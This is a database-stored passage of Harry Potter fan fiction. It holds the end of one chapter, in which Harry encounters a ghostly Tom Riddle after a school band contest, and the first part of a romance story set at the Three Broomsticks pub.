Weasley? A dynamic team, but Snape had heard James Potter \nsing once. Snape knew all too well that Harry took after his father in almost \nevery way, and James Potter\'s musical talent had been inversely proportional to \nhis skill on the Quidditch field. It was lucky for the Potter boy that Lily \nEvans had not dismissed her suitor on the basis of his ear-splitting serenade \nthat evening in the Three Broomsticks. <br><br>Malfoy might go on alone, and in \nthat case, the performance might be disappointingly competent. But if Malfoy did \ngo on with any of the other three -- <br><br>Snape smiled to himself and folded \nhis arms across his long black robes. That would be something to see. He had \nevery faith that Malfoy could humiliate Potter and Weasley beyond his wildest \ndreams. <br><br>Severus Snape did not consider himself to be easily surprised. \nThus, he was only mildly startled when both Weasleys took the stage with Potter, \nand then Malfoy. He\'d counted on at least two of them refusing to perform, but \nPotter and Malfoy were both proud and stubborn, and all Weasleys were known to \nbe impulsive; quite possibly those traits had come into play. <br><br>Just as \nhe\'d predicted, they made an absolutely infernal racket. It was phenomenally \natrocious. Snape\'s lip curled in satisfaction as students in the audience began \ncovering their ears and trying to crawl under their chairs. He\'d have to brew up \nsomething later tonight to restore any partial hearing loss from the experience, \nbut it would be worth every minute. <br><br>And then -- something happened. To \nthe music. To Potter, Weasley, and Malfoy, of all people. <br><br>Professor \nSeverus Snape was shocked. <br><br>~ ~ ~ ~ ~ <br><br>Harry was beginning to \nbelieve that he was trapped inside an alternate universe in which he was the \nbutt of a very large cosmic joke. It was the only plausible explanation for what \nhad just happened. <br><br>They\'d won the bloody contest. <br><br>His brain had \nceased to function properly right around the time they\'d stopped playing. He had \nbeen vaguely aware of the tumultuous applause that had overwhelmed them as soon \nas their last chord had been struck. He did recall Ron, Ginny, and Malfoy \nlooking every bit as stunned as he felt. At that point, his brain had reached \nsome sort of sensory overload, and he felt just like one of Dudley\'s televisions \nthat had been thrown out a second story window and could now only produce grey \nstatic on all channels. <br><br>Harry\'s bass had apparently had the sort of \nevening that amounted to winning the Quidditch Cup and a trip aboard Big Banjo\'s \nTropical Cruiseline for Magical Instruments all rolled into one. Thankfully, \nthis meant that after ten minutes of joyful celebration in Harry\'s head, the \nbass had lapsed into a contented silence, possibly too overwhelmed for the time \nbeing to contribute even one overly helpful remark about Harry\'s love life. \n<br><br>But even with the momentary peace granted by the bass, Harry\'s thoughts \nwere hopelessly muddled. He did know he couldn\'t go back to the common room at \nthe moment, if there was any chance Ron and Ginny would still be there. He \ndidn\'t have the faintest idea what had happened on that stage, and he didn\'t \nwant to talk to anyone about it; he was afraid he\'d start speaking Parseltongue \nbackwards, given his current mental state. <br><br>And he certainly couldn\'t \nface Hermione. Hermione, of all people, who was the one person Harry would give \nhis wand arm to talk to at that very moment. He wanted so badly to feel her next \nto him, to hear her say in her matter-of-fact voice that everything was going to \nbe all right: &quot;Don\'t worry, Harry, Neville will be fine, I\'ve looked up his \ncondition in <i>Hexes Gone Wrong</i>, Madame Pomfrey is treating him properly \nand he\'ll be good as new tomorrow evening. What on earth are you worried about? \nLet\'s start on that Charms essay.&quot; <br><br>But after what Malfoy had done, Harry \nwasn\'t sure Hermione would be talking to him anytime soon. If ever. \n<br><br>Harry\'s eyes stung sharply. He couldn\'t think about that. He turned a \ncorner and headed up another staircase as the local portrait inhabitants turned \nto stare and whisper. <br><br>Harry had been wandering aimlessly through the \ncastle corridors since the last flabbergasted first-year had filtered from the \nGreat Hall hours ago. He wasn\'t sure how long he\'d been walking; his head was \nbeginning to pound, and his shoulder ached with the weight of his bass. It was \nmost likely past midnight now, and Filch would skin him alive if he caught him \nout of bed at this hour. Harry was past caring. Any punishment Filch could dish \nout would be nothing compared to what had already happened today. Filch could \njust get in line behind Snape and everyone else who wanted to strangle Harry at \nthe moment. <br><br>Harry turned to enter a narrow hallway on the second floor \nand heard the distinct sound of footsteps. Definitely Filch. Out of habit Harry \nbegan looking for a spot to step out of view -- might as well try to avoid a \nsecond detention before he had to surrender. Luckily, there were doors all along \nthis particular hallway, and Harry chose the nearest one and slipped inside. \nGlancing around, he saw that he was in a little-used Charms lecture hall. \nFlitwick preferred to teach in the larger room two doors down, so this room held \nonly spare desks and supplies. <br><br>The footsteps drew closer; Harry could \nhear Filch muttering to Mrs.Norris. Harry sighed. He scanned the room and saw \nwhat he was looking for: a supply closet, much like the one in Flitwick\'s usual \nroom. Muttering a quick <i>Alohomora</i>, Harry opened the closet to find it \nfull of pillows for practicing summoning charms. Perfect. Harry climbed inside, \nsettled himself on a deep pile of cushions, and took off his bass. He\'d just \nwait here until Filch passed by. <br><br>He\'d just wait in this blessedly dark \ncloset, where no one would find him, where he could close his eyes for a moment \nand pretend that none of it had happened, pretend that his life was simple, \nsimple the way it had been this summer after Quidditch Camp. He would pretend \nthat the only thing he had to worry about in the world was helping Hermione \ncarry her extra books to the library. <br><br>It would be so nice to see \nHermione. <br><br>Harry felt his face curve into a smile as he listened absently \nfor Filch\'s footsteps. He thought of Hermione\'s wide brown eyes, her long lashes \ntipped with gold as she lay next to him on the dappled grass by the lake. He \nthought of almost kissing her. <br><br>He thought of kissing her for real. \n<br><br>It was so nice in the dark. <br><br>~ ~ ~ ~ ~ <br><br>Pain. \n<br><br>Harry jolted awake, his forehead burning as if it was splitting open \nalong the seam of his scar. He was covered in cold sweat, and it was so dark he \ncouldn\'t tell whether his eyes were open or closed. It took him a moment to \nrealize that he was still in the supply closet. <br><br>He retched as the next \nwave of pain seared through his scar, and fumbled desperately for the door. Have \nto get out of here. Going to be sick. <br><br>One of his feet struck the closet \ndoor and it flew open. Harry tumbled to the floor in the dim light of the \nclassroom, pillows bumping to the ground all around him. He wasn\'t sure if he \ncould move. He felt his breath rattle in his throat in ragged gasps as he \nclutched helplessly at his forehead. <br><br>Faintly, through the pain, he began \nto make out a noise, muffled, as if he was hearing it underwater. <br><br>It was \nthe unmistakable sound of high, cold laughter. <br><br>A very familiar sound. \n<br><br>It couldn\'t be. <br><br>&quot;Harry Potter,&quot; said the cold voice. &quot;What a \npleasant surprise.&quot; <br><br>Harry struggled to his hands and knees and peered \nacross the room through a pain-filled haze. This simply was not real. He was \ndreaming, or just cracking under stress. Yes, that was it. He was certainly in \nthe hospital wing by now, safe and sound, just delirious. This was merely one of \nmany hallucinations brought on by mental exposure to an overly meddlesome \nmusical instrument. <br><br>Except the pain was no hallucination. <br><br>Harry \nknew this pain, knew it like he knew his own name. He\'d felt it before, many \ntimes now; familiarity did nothing to dull its edge. Harry knew what the pain \nmeant. It meant that the person he saw across the room was every bit as real as \nVernon Dursley, even though this person was slightly transparent, his outline \nflickering like an old Muggle black-and-white film. It didn\'t matter what he \nlooked like. He was there, and this was real. <br><br>Harry got slowly to his \nfeet, his scar screaming in protest, and brushed sweaty hair out of his eyes \nwith one clammy palm. <br><br>&quot;Hello, Tom,&quot; he said. <br><br>Tom Riddle regarded \nhim from across the room, his transparent form wavering in the light of a single \ncandle placed on an upturned desk. <br><br>Riddle looked much the same as he had \nin Harry\'s second year, though Harry was taller and they were now almost \neye-level with each other. Riddle was dressed in his school uniform, as always, \nand looked like any other seventh-year Slytherin prefect, except that he\'d \nattended school over fifty years before. Harry saw by the light of the candle \nthat Riddle had been working on something before Harry had tumbled from the \ncloset -- something on the floor. Strange markings were traced in the dust. \n<br><br>&quot;It\'s just amazing how you always manage to show up like this, Potter,&quot; \nRiddle said, grinning congenially. &quot;I should learn to give you more credit. Or \nperhaps just send you an invitation next time, and spare you the trouble of \ntracking me down.&quot; <br><br>The pain in Harry\'s scar made it difficult to talk, \nbut Harry felt a strange clarity, as if a fog had lifted from his thoughts. He \nspoke through gritted teeth. <br><br>&quot;Spare me a bit more trouble, then, and \ntell me how you got back here,&quot; he said. &quot;It can\'t have been the diary. What \nother bit of memorabilia did you enchant with your memory and pass along to \nposterity? Your toothbrush?&quot; <br><br>Riddle laughed his high, cold laugh again. \nA fresh wave of pain lanced through Harry\'s forehead. <br><br>&quot;That would be \ntelling,&quot; he said, still smiling. &quot;And as my lifelong duelling partner, Potter, \nyou of all people should know that I can\'t reveal my strategy before the match.&quot; \nHe paused. &quot;I would dearly love to know how you got here, of course, but that\'s \npart of your own game plan, and I expect it will be revealed in time.&quot; \n<br><br>&quot;Don\'t pretend to be a gentleman.&quot; Harry had his wand out now, and was \ngripping it firmly, trying to ignore his pounding head. He pointed it steadily \nat the shimmering figure. &quot;I\'m not playing any of your games, Riddle.&quot; \n<br><br>Riddle chuckled. &quot;Never were one for finesse, were you, Potter? A bit of \nfine swordplay not really your style?&quot; <br><br>Harry\'s wand didn\'t waver. &quot;Tell \nme what you\'re doing here. You have until I count to three.&quot; <br><br>&quot;Pity.&quot; \nRiddle\'s image was beginning to flicker. &quot;Our little hero won\'t take time to \nfence properly. Ah well, soon enough that won\'t matter.&quot; <br><br>&quot;One.&quot; Harry\'s \nvoice was a deep snarl he hardly recognized as his own. <br><br>Riddle\'s voice \nwas fainter now. &quot;It is a shame, though. Perhaps you would have learned more had \nyou paused to chat.&quot; <br><br>&quot;Two.&quot; <br><br>&quot;No point in using that now, \nPotter.&quot; Riddle himself was now a faint outline, his voice an eerie echo. &quot;You \ncan\'t stop this. No one can.&quot; <br><br>A sharp gust of wind swept through the \nroom, snuffing the candle. Tom Riddle was gone. The room was silent. \n<br><br>Harry stood for a long moment, his wand pointed at the spot where Riddle \nhad been, before lowering his arm. Then he sat down hard on the floor, his whole \nbody shaking. He sat there until he caught his breath, listening to his heart \npound in the empty room. <br><br>He stood up again, his legs unsteady, and held \nout his wand. &quot;Lumos,&quot; he whispered. <br><br>The soothing light from his wand \nrevealed an ordinary Charms classroom, nothing amiss except for a few extra \npillows on the floor. The supply closet door was wide open, and Harry glimpsed \nhis bass still inside. He slung it over one shoulder again before crossing the \nroom to peer at the spot Riddle had been standing. <br><br>There, etched into \nthe wooden floorboards, was a series of strange markings. They appeared to be \nrunes of some sort, forked lines curved into a wicked half-circle on the dusty \nfloor. <br><br>Harry, said a dry voice in his head. Let\'s get out of here. \n<br><br>Harry nodded. He left the classroom, pausing once in the hallway to make \nsure he knew how to find it again. He took the rest of the route to the \nGryffindor common room at a dead sprint. <br><br>~ ~ ~ ~ ~ <br><br>&quot;Ron.&quot; \n<br><br>The boys\' dormitory was dark, the curtains drawn around three of the \nfive beds. Neville\'s heavy snores were notably absent. Must still be in the \nhospital wing. Harry shook Ron\'s arm with more force. <br><br>&quot;RON.&quot; \n<br><br>&quot;Wha -- &quot; Ron stirred in his sleep, mumbling. &quot;Issat you, Harry?&quot; \n<br><br>&quot;Ron, get up. I need to talk to you.&quot; <br><br>Ron smacked his lips and \nturned over. &quot;Not now...&quot; <br><br>&quot;Ron.&quot; <br><br>&quot;Talk tomorrow, Harry. Band was \ncrazy. Dunno what happened. Malfoy crazy. Talk tomorrow.&quot; <br><br>&quot;Ron, this is \nimportant.&quot; <br><br>&quot;Oh, that.&quot; Ron was a bit more awake now. &quot;Issokay, Harry. I \nforgive you. S\'my fault.&quot; <br><br>&quot;What?&quot; <br><br>&quot;Hermione. You tried to tell \nme. Been thinking... I remembered. You tried to tell me lotsa times. Myfault. \nIssokay.&quot; <br><br>Earlier that evening Harry would have given anything to hear \nthose words. Now his happiness on hearing them was muffled by the great feeling \nof terror that was crushing him like a thundercloud. <br><br>&quot;I -- Ron, it\'s not \nthat.&quot; <br><br>&quot;Huh?&quot; Ron had turned over again. &quot;Whatissit? Need to sleep.&quot; \n<br><br>&quot;My scar.&quot; <br><br>Half a second later Ron Weasley was bolt upright in \nbed, swearing and scrambling for his slippers. <br><br>&quot;Ah shit, Harry. You \nokay? Come on.&quot; Ron stumbled quickly out of bed, heading for the common room. He \nstopped on the stairway, pulling last year\'s Weasley sweater over his pajama \ntop, and stared at Harry. &quot;Cripes. You\'re still dressed. What happened? You look \nterrible.&quot; <br><br>&quot;I\'m all right.&quot; <br><br>Ron gave Harry an appraising look, \nthen shook his head. <br><br>&quot;Stay right there. I\'m getting Hermione.&quot; \n<br><br>Harry could have kissed him. <br><br>Ron disappeared into the \nfifth-year-girls\' dormitory. In a few minutes he emerged again, a bleary-eyed \nHermione at his side, struggling into her dressing gown and looking tremendously \nworried. Harry felt such immense relief at seeing her again that his legs felt \nweak. When their eyes met, his knees almost buckled. <br><br>&quot;Harry,&quot; she \nwhispered. &quot;What\'s happened? Are you all right?&quot; <br><br>&quot;I\'m okay.&quot; <br><br>Ron \nbeckoned them towards the stairwell. <br><br>They settled on the floor in front \nof the common room fire for warmth, propped up against squashy armchairs. Ron \nand Hermione were peering at Harry as if he might start fortelling doom in \nraving torrents at any moment. Harry was beginning to wonder if the strain of \nthe evening was making him look particularly unstable. <br><br>He took a deep \nbreath, and the words tumbled out. He told them everything that had happened \nsince he\'d left the Great Hall. Ron and Hermione\'s eyes grew wide as he \ndescribed waking up in the supply closet. When he told them who he had seen in \nthe classroom, Ron went white; Hermione gasped and grabbed Harry\'s hand. \n<br><br>&quot;But that\'s impossible,&quot; she breathed. &quot;He can\'t be here. He just can\'t. \nCan he?&quot; <br><br>&quot;I don\'t know,&quot; Harry said. &quot;The last time my scar felt like \nthat, I was standing next to Vol -- to You-Know-Who.&quot; <br><br>&quot;Bloody hell,&quot; Ron \nmurmured. <br><br>&quot;He was up to something, that much I do know. He had been \nwriting something on the floor when I fell out of the closet. After he vanished, \nit was still there. Etched into the wood.&quot; <br><br>&quot;You\'re going to Dumbledore \nright away, of course,&quot; Hermione said, her hand still tightly clutching his. \n<br><br>&quot;Yeah. I will, first thing tomorrow.&quot; Harry stared into the fire. &quot;Just \n-- couldn\'t sleep, after that.&quot; <br><br>Hermione shuddered. Then she did \nsomething that Harry would never forget. Uncurling her hand from his, she threw \nher arms around his neck, burying her head in his shoulder and taking deep, \nunsteady breaths. <br><br>Harry froze. He looked up at Ron. But Ron merely \nlooked back at him, clearly preoccupied, not in the least bit fazed by \nHermione\'s reaction. <br><br>&quot;Hermione,&quot; Harry whispered, putting his arms \naround her tentatively. &quot;Shh. It\'s okay.&quot; <br><br>Hermione only responded by \nholding him tighter, her voice muffled in his shoulder. &quot;It\'s not okay,&quot; she \ngulped. &quot;I knew he\'d come for you again this year. We joked about it, and things \nwere quiet for so long, I almost thought everything would be all right -- &quot; \n<br><br>Her voice broke and she stifled a small sob. Harry wasn\'t sure what to \ndo; he gently stroked the top of her head. <br><br>&quot;I did too.&quot; Ron said \nquietly. &quot;We were all so busy with other things. I didn\'t want to think about \nit.&quot; <br><br>Harry suddenly felt exhausted, as if he\'d been awake for three days \nwithout realizing it. The feeling of Hermione in his arms was intoxicating, and \nso deeply comforting that he felt his eyelids beginning to droop. He drew her a \nbit closer; he was too tired to be nervous about it, too tired even to turn his \nusual shade of pink. &quot;Me either,&quot; he said. <br><br>Ron slid onto his back and \nstared at the ceiling. &quot;We\'ll get him, Harry. You\'ll get him, and we\'ll help \nyou. Nothing else matters now. Not stupid music contests, or bloody Malfoy.&quot; He \npaused, then cleared his throat. &quot;Or girlfriends who take up all my damn time, \nand make me ignore my best friends, who stood by me anyway while I was being a \nprat.&quot; <br><br>&quot;Oh, Ron.&quot; Hermione\'s voice came from Harry\'s shoulder. \n<br><br>&quot;That\'s what I wanted to tell you, Hermione. Before the contest. You \ncame to talk to me yesterday, and I was rushing off to see Emma. I realized -- &quot; \nRon sighed. &quot;I realized both of you have been trying to talk to me for months.&quot; \n<br><br>They fell silent. Harry\'s eyes were closed, and he wondered how it was \npossible to feel so gut-wrenchingly scared and so relieved and happy at the same \ntime. <br><br>&quot;Know what\'s a bit disturbing, though,&quot; he said finally, settling \nback against an armchair as Hermione snuggled into his chest. <br><br>&quot;Hmm?&quot; she \nmurmured. <br><br>&quot;What\'s that?&quot; echoed Ron. <br><br>&quot;Now that Voldemort\'s shown \nup, and you\'re both helping me... this is the most normal I\'ve felt all year.&quot; \n<br><br>There was a pause, then a chuckle, and gradually, the faint sound of \nmuffled laughter. <br><br>It lasted a long time. <br><br>As the sun rose in the \nGryffindor common room, its pale light fell upon three figures curled in front \nof the dying embers of last night\'s fire. One, red-haired and lanky, was using a \nmaroon sweater for a pillow; the others were spooned together, raven hair \nmingling with brown, smiling in their sleep. <br><br>~ ~ ~ ~ ~ <br><br>\n<center><b>Review!</b></center><br><br><i>Music \nnotes:</i> The choice of song played by the Marauders is just something I \npictured as suiting their style, and not some great statement about the power of \nRadiohead. They could have covered any song or band, but I happened to like \nthese lyrics as sung by Draco. For reference, that song is &quot;The Bends,&quot; off the \nalbum of the same name. Also, I should credit Draco for quoting a bit of Five \nfor Fighting\'s &quot;Superman (It\'s Not Easy).&quot; \n'),
	(72, 1, '\n\n\n\n\n\nTitle: A Pair of Brown Eyes (1/2)<br>\nAuthor: Granger<br>\nAuthor Email: ali_granger@yahoo.com<br>\nCategory: Romance, Humour<br>\nKeywords: Harry, Hermione, Ron, The Three Broomsticks<br>\nSpoilers: All four books<br>\nRating: PG-13<br>\nSummary: Join Harry and Hermione for a pint of romance in the Three Broomsticks, with special appearances by the Dursleys, assorted Weasleys, and the Invisible Drunken Gryffipede...<br>\nPairings: H/H<br>\nAuthor\'s Note: This is just a bit of rambling fluff I wrote while stuck on the latest chapter of my ongoing fic, Blush. All music here is by The Pogues... &quot;Living in a World Without Her&quot; is the song performed in the pub. Schnoogles to everyone on the good ship HMS Pumpkin Pie, hope you enjoy! :)<br>\nDisclaimer: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n<br><br>\n* * * * *\n<br><br>\n<b>A Pair of Brown Eyes: Part I</b>\n<br><br>\n<i>&quot;and a rovin\', a rovin\', a rovin\' I\'ll go<br>\nfor a pair of brown eyes&quot;</i>\n<br><br>\n-- The Pogues\n<br><br>\n<br><br>\n\n\n\nHarry Potter was drunk.\n<br><br>\nIt was not at all an unpleasant sensation, Harry thought, as the interior of the Three Broomsticks swam before him in a warm blur. The Hogsmeade pub was packed to bursting with older students and locals, most of them wrapped in scarves emblazened with the Gryffindor house colors of scarlet and gold. He was crammed comfortably in a dark corner at a table with Ron, Hermione, and the Weasley twins, none of whom were much better off than he was at the moment. Harry\'s eyes fell on Ron, who was polishing off a pint of Broomstick\'s Best Ale and laughing uproariously at something Fred had whispered to him.  \n<br><br>\nFred Weasley did look unusually funny, it was true. Harry grinned to himself and took another swig of ale, still marvelling at their latest prank. After today\'s Quidditch match -- Gryffindor had won against Slytherin, Harry snagging the Snitch as usual -- Fred and George had smuggled Harry, Ron, and Hermione out of the usual celebration in the Gryffindor common room, insisting in hissed whispers that they were taking them somewhere <i>extremely</i> important. Harry had snagged his invisibility cloak, and the five of them had crept through the castle to the secret passage that lead to Hogsmeade. Once inside the passage, George had pulled two tiny bottles out of his pocket, and he and Fred had each taken a sip from one.\n<br><br>\nThe effect was so disarmingly astounding that Ron had to clap a hand over Harry\'s mouth to keep him from rousing the entire castle with one startled roar of laughter. \n<br><br>\nFred Weasley was Uncle Vernon. And George, it seemed, was Aunt Petunia.\n<br><br>\nHarry had to sit down on the floor, his sides aching, eyes streaming with tears, as Ron, Emma, and Hermione stifled their own giggles and attempted to pull him back to his feet. Fred was strutting up and down the passage doing his best imitation of Harry\'s uncle.\n<br><br>\n&quot;Not one more peep out of you, boy!&quot; he barked, before losing his composure and breaking into laughter himself.\n<br><br>\n&quot;Fred\'s got all the luck,&quot; remarked George, in an uncanny imitation of Aunt Petunia\'s voice which drew renewed giggles from Hermione. &quot;We flipped for it, and he got to be old Vern here. I\'m stuck with the Horse-Faced Lady.&quot;\n<br><br>\n&quot;Stop -- stop!&quot; Harry managed to gasp, struggling to his feet. &quot;You\'ll kill me! What on <i>earth</i> are you doing?&quot;\n<br><br>\n&quot;Taking you to Hogsmeade, you dolts,&quot; said Uncle Fred Dursley.\n<br><br>\n&quot;Surely you must know about the post-Quidditch parties at the Three Broomsticks?&quot; inquired Aunt George, looking down his now-long and donkeylike nose at them. Harry shook his head.\n<br><br>\n&quot;Oh, come <i>on</i>,&quot; sighed Fred with a look of great exasperation. His face turned purple, just like the real Uncle Vernon. Harry choked again and tried to regain his composure. &quot;After every Quidditch match of the season, there\'s a rip-roaring party at the pub,&quot; said Fred. &quot;Blows the roof right off the place. And this time, we\'re going to be there. Folks\'ll be too blasted to notice you once we get inside.&quot;\n<br><br>\n&quot;How did you -- &quot; interrupted Harry.\n<br><br>\n&quot;Easy enough,&quot; smirked George. &quot;You think we don\'t pay attention when we come to pick you up over summer holidays? Swiped a hair each from Vernon and Petunia when we were last there. Remember, I asked to use the bathroom? I just -- &quot;\n<br><br>\n&quot;STOP!&quot; Harry was laughing again. &quot;That I do <i>not</i> want to hear. Polyjuice potion, right. What\'s it for? Why do you want to troop into Hogsmeade looking like a couple of blazing idiots?&quot;\n<br><br>\n&quot;Harry, for a famous wizard, you can be really daft sometimes,&quot; sighed Fred. &quot;Who d\'you think\'s going to buy us drinks?&quot;\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nIt had been surprisingly easy, once in Hogsmeade, to slip into the packed interior of the Three Broomsticks, shielded by the large forms of Fred and George as Vernon and Petunia. Fred and George steered Harry, Ron and Hermione, huddled under the invisibility cloak, into an unoccupied table in a dark corner, then left them and returned bearing mugs of dark, foamy ale. After they had settled in, confident no one could possibly notice them in all the uproar, the four of them had slipped out from under the cloak.\n<br><br>\nHermione looked distinctly worried. &quot;I can\'t believe we\'re doing this,&quot; she hissed at Harry.\n<br><br>\n&quot;Ease up, Hermione,&quot; said Ron, rolling his eyes. &quot;Honestly, have a little fun, will you? No one\'s going to notice us, and if they do, we can just say that Harry\'s relatives took us out for a bit of supper or something.&quot;\n<br><br>\n&quot;Harry\'s <i>Muggle</i> relatives took us to Hogsmeade? And bought us drinks? I\'m sorry, Ron, but -- &quot; Hermione\'s eyes were wide with protest.\n<br><br>\n&quot;Will you relax!&quot; groaned Ron, sipping his ale and wiping foam from his upper lip. &quot;Look, if you don\'t want to be here, you can go on back to Hogwarts.&quot;\n<br><br>\n&quot;Well! I -- &quot; Hermione began, but Harry interrupted her.\n<br><br>\n&quot;Hermione, it\'s okay,&quot; he found himself saying. His head felt light, buzzing with the infectious atmosphere of the rowdy pub, still giddy from watching Fred and George transform themselves into his horrendous relatives. He\'d just won a match against Slytherin, and he was at Hogsmeade with his best friends. They deserved to have a little fun. Lord knows Hermione deserves it, he thought. He put a hand on her arm; she turned to look at him.\n<br><br>\n&quot;Just stay for a little while,&quot; he said quietly. &quot;It\'ll be fine, I promise. And if you still want to leave after that, I\'ll take you home myself.&quot; \n<br><br>\nHermione seemed to relax slightly at Harry\'s words. She looked back at him and finally nodded. \n<br><br>\n&quot;And besides, Granger.&quot; Harry fixed her with a stern look. He raised his pint glass. &quot;Bet I can drink you under this table.&quot; He grinned. \n<br><br>\nHermione was silent for a moment, gazing at Harry with an unreadable expression. Then she looked up at him, her eyes glinting, and picked up the pint glass in front of her. \n<br><br>\n&quot;You\'re on, Potter,&quot; she said, raising an eyebrow defiantly. \n<br><br>\n&quot;Harry, you daft git, you\'ve never had so much as a sip of cider,&quot; muttered Ron under his breath. &quot;Cheers, then!&quot; he said more loudly, smiling broadly and clinking his own pint heavily into Harry and Hermione\'s, foam sloshing onto the table. \n<br><br>\nHarry took a long draught from his glass, the ale malty and sweet, leaving a trail of delicious warmth as it went down his throat. All around him, the noise of celebration drowned his senses. He leaned back in his chair and shut his eyes. He\'d give all the galleons in his Gringotts vault just to have a Pensieve like Dumbledore\'s right about now. He never wanted to forget what this first sip of ale felt like, the pleasant ache in his shoulders from Quidditch, the blur of scarlet and gold, the faces of his friends as they huddled around the table, Fred and George as the Dursleys -- and the brilliant flash of Hermione Granger\'s eyes as she lifted her glass to his. \n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n&quot;Four.&quot; Harry drained his glass and set it back onto the table with an authoritative thunk, sending a spray of leftover foam across the table. Hermione rolled her eyes and glanced at her own pint, which was still half full. She fixed Harry with an unsteady look of determination, lifted the pint glass, and took a deep breath, but suddenly gave a loud hiccup. Foam splashed from her glass and onto her nose. Harry choked.\n<br><br>\n&quot;Hermione, we don\'t really have to race, y\'know.&quot; Harry chuckled and reached across the table to wipe the foam from Hermione\'s nose with one finger. He handed her a large purple Three Broomsticks cloth napkin. \n<br><br>\nHermione was blushing a deep red; she tossed the napkin at Harry\'s head. Harry ducked. &quot;You shut up,&quot; Hermione grinned. &quot;S\'no fair, you\'re bigger than me.&quot;\n<br><br>\nTruth be told, Harry had lost count of their drinks some time ago, but it didn\'t seem to matter, as he guessed that most of the other patrons in the Three Broomsticks probably couldn\'t count backwards from ten at the moment. A motley group of musicians had pushed their way into a corner of the pub and were setting up instruments; the noise of the crowd had risen to a steady hum. Harry had spotted Hagrid and Professor Sprout at one table, looking rather too jolly to notice him; Fred, George, and Ron were busy amusing themselves with drunken impersonations of the Dursleys.\n<br><br>\nHarry glanced at Hermione from across the table. That left the two of them, sitting out like a pair of Dobby\'s odd socks. Harry was often reminded of the time he and Ron hadn\'t spoken to each other during their fourth year, and he had spent most of his time with Hermione in the library; that seemed so long ago. He hadn\'t felt -- this way -- when he looked at her back then.\n<br><br>\nWhen Rita Skeeter had written those articles -- even then he hadn\'t given Hermione a passing thought. He couldn\'t count the times he\'d breezily laughed off the suggestion that he and Hermione were a couple. All those times he\'d said the words &quot;Hermione&quot; and &quot;girlfriend&quot; over and over again, without ever really looking at her, without thinking about what she meant to him. How could he have been so daft? Right next to him, for all these years, was this incredible girl who would give her left arm to help him, who was his best friend -- and he\'d been blind. \n<br><br>\nHarry shook himself. Come off it, Harry, he thought, studying his empty glass. You sit next to her every day of your life. She\'s clearly not interested in you. You\'re only going to botch things up if you keep thinking like this. She\'s your best friend, and you sure as hell don\'t want to lose her.\n<br><br>\nBut he sure as hell wanted to kiss her. \n<br><br>\nThe band had finished setting up, and immediately struck up a jubilant Irish folk tune which practically shook the rafters of the pub. The crowd roared with enthusiasm and bodies began jostling against one another as people tried to leap to their feet and dance. Harry could just glimpse the lead singer through the surging crowd; he looked three sheets to the wind. \n<br><br>\n&quot;My girl could break my heart, and tear my soul apart, but I couldn\'t see myself living in a world without her,&quot; growled the vocalist in a rough, thick brogue. The fiddler was whirling; golden sparks shot from the bow of his fiddle as he played. \n<br><br>\nHarry\'s eyes flicked to Hermione\'s. She was looking at him now from across the table; he was expecting to see her usual sardonic smile. But instead, her warm brown eyes were shining with happiness, slightly unfocused from the ale, her cheeks tinged pink. Harry\'s heart surged. For a moment, they said nothing, content to hold each other\'s gaze while the music swirled wildly around them. The song ended; the pub shook with rousing applause. \n<br><br>\n&quot;Thanks, Harry,&quot; Hermione said softly. She was positively glowing in the warm light of the pub. &quot;You were right. This is amazing.&quot; \n<br><br>\nHarry felt himself flush; then, with a boldness he had no idea he posessed, he reached across the table and took Hermione\'s hands in his own. \n<br><br>\n&quot;Thanks for staying,&quot; he said. \n<br><br>\nHermione\'s eyes flickered with something Harry had never seen before. For a moment, she didn\'t move. What was he doing? He had no idea, but he suddenly felt as if nothing in the world could go wrong. \n<br><br>\n&quot;Harry!&quot; crowed Fred, jostling him roughly as he rose from his seat. He was sweating madly in Uncle Vernon\'s massive form. &quot;You\'ve finished your pint. I\'ll get us more, then!&quot; \n<br><br>\n&quot;Right!&quot; breathed Harry, sitting up quickly and running a hand through his untidy hair. Fred was weaving slightly as he pushed his way back towards the bar where Madame Rosmerta had been pulling pints nonstop for most of the evening. \n<br><br>\n&quot;Just one more round though,&quot; called Ron, who was reclining in his seat, his cheeks almost as red as his hair. He gave Harry a sloppy grin and draped an arm around Aunt George Petunia as the band struck up again. \n<br><br>\n&quot;C\'mon, Georgie, just one dance,&quot; he slurred. &quot;Will be a scream.&quot;\n<br><br>\nGeorge looked down his horselike nose at Ron. &quot;Absholutely not, young man,&quot; he scolded. &quot;What will the neighbors think?&quot;\n<br><br>\nHermione broke into a fit of giggles. Ron began to argue, but was interrupted as a large pint of ale thunked down onto the table in front of him. \n<br><br>\n&quot;Here we are,&quot; said Fred in Uncle Vernon\'s deep voice, setting down four more pints of ale and squeezing back into his seat. He raised a glass again. \n<br><br>\n&quot;To the best Sheeker Hogwarts has ever seen,&quot; he proclaimed resolutely. &quot;who has given us this fabulous excuse to come here tonight.&quot; \n<br><br>\n&quot;Hear, hear!&quot; chorused everyone at the table. Harry took another sip of ale, his ears pink. Seeker? What were they going on about? Oh -- that match was today! And he hadn\'t done half badly, either, he thought absently, grinning at no one in particular. For a few moments he was again flying breathlessly across the pitch on his Firebolt, his hand closing around the tiny fluttering Snitch. \n<br><br>\nHermione watched Harry\'s eyes glaze with a faraway look. Her head was reeling with ale and music, but she hardly dared breathe. She shut her eyes. Her hands were still tingling with the sensation of Harry\'s hands closing around them. He had to be drunk. He couldn\'t know how she felt. \n<br><br>\nBut when she opened her eyes again, Harry\'s emerald ones were fixed on hers. His face broke into a lopsided grin. \n<br><br>\nIt was going to be a long night.\n<br><br>\n~ ~ ~ ~ ~\n\n<br><br>\n= the chapter has now ended =\n<br><br>\n\n\n'),
